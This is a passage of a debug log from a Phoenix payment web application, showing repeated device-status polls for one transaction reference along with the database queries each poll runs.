↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:06:51.668000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49598] Sent 200 in 20ms
[Thu Sep  3 10:06:56.793000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49614] POST /api/device/status
[Thu Sep  3 10:06:56.793000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:49614] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:06:56.793000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49614] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:06:56.794000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49614] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:06:56.807000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49614] QUERY OK source="pos_transaction" db=13.3ms queue=0.1ms idle=1970.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:06:56.808000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49614] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1984.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:06:56.811000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49614] QUERY OK source="pos_failed_transaction" db=2.4ms idle=1985.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:06:56.812000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49614] QUERY OK source="cloud_transaction" db=0.5ms idle=1598.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:06:56.812000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49614] Sent 200 in 19ms
[Thu Sep  3 10:07:01.880000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46350] POST /api/device/status
[Thu Sep  3 10:07:01.881000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:46350] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:07:01.881000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46350] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:07:01.885000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46350] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:07:01.921000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46350] QUERY OK source="pos_transaction" db=35.5ms idle=651.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:07:01.922000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46350] QUERY OK source="pos_temp_transaction" db=0.4ms idle=324.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:07:01.928000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46350] QUERY OK source="pos_failed_transaction" db=5.3ms idle=217.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:07:01.932000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46350] QUERY OK source="cloud_transaction" db=4.3ms idle=99.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:07:01.933000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46350] Sent 200 in 52ms
[Thu Sep  3 10:07:06.670000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46360] POST /api/device/status
[Thu Sep  3 10:07:06.671000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:46360] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:07:06.671000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46360] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:07:06.671000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46360] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:07:06.686000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46360] QUERY OK source="pos_transaction" db=14.5ms idle=844.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:07:06.689000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46360] QUERY OK source="pos_temp_transaction" db=0.7ms idle=861.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:07:06.694000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46360] QUERY OK source="pos_failed_transaction" db=4.4ms idle=863.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:07:06.696000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46360] QUERY OK source="cloud_transaction" db=0.7ms idle=867.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:07:06.696000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46360] Sent 200 in 25ms
[Thu Sep  3 10:07:11.651000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49132] POST /api/device/status
[Thu Sep  3 10:07:11.652000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:49132] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:07:11.652000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49132] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:07:11.655000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49132] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:07:11.668000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49132] QUERY OK source="pos_transaction" db=13.4ms queue=0.1ms idle=1828.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:07:11.669000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49132] QUERY OK source="pos_temp_transaction" db=0.4ms queue=0.1ms idle=1842.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:07:11.672000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49132] QUERY OK source="pos_failed_transaction" db=2.4ms idle=1843.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 10:07:11.674000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49132] QUERY OK source="cloud_transaction" db=1.5ms idle=1845.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 10:07:11.674000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49132] Sent 200 in 23ms
[Thu Sep  3 10:07:16.639000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:49138] POST /api/device/status
[Thu Sep  3 10:07:16.639000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:49138] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 10:07:16.639000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49138] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch151948839428", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 10:07:16.639000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:49138] Transaction reference number: "ch151948839428"
[Thu Sep  3 10:07:16.656000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49138] QUERY OK source="pos_transaction" db=16.5ms idle=1813.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 10:07:16.658000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49138] QUERY OK source="pos_temp_transaction" db=1.6ms queue=0.1ms idle=1830.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch151948839428"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 10:07:16.662000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:49138] QUERY OK source="pos_failed_transaction" db=2.9ms idle=1334.8ms
